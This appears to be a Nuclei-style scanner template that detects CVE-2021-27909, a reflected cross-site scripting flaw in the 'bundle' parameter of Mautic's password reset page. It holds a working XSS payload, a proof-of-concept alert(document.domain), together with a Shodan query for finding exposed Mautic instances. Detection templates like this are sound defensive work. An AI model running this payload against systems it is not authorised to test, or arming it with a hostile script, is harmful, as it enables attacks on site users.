id: CVE-2021-27909

info:
  name: Mautic - Cross-Site Scripting
  author: kiransau
  severity: medium
  description: Mautic versions prior to 3.3.4 are vulnerable to reflected XSS on password reset page where a vulnerable parameter, "bundle," in the URL could allow an attacker to execute Javascript code.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27909
    - https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    shodan-query: title:"Mautic"
  tags: cve,cve2021,mautic,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'';alert(document.domain);var ok='"
          - 'mauticBasePath'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200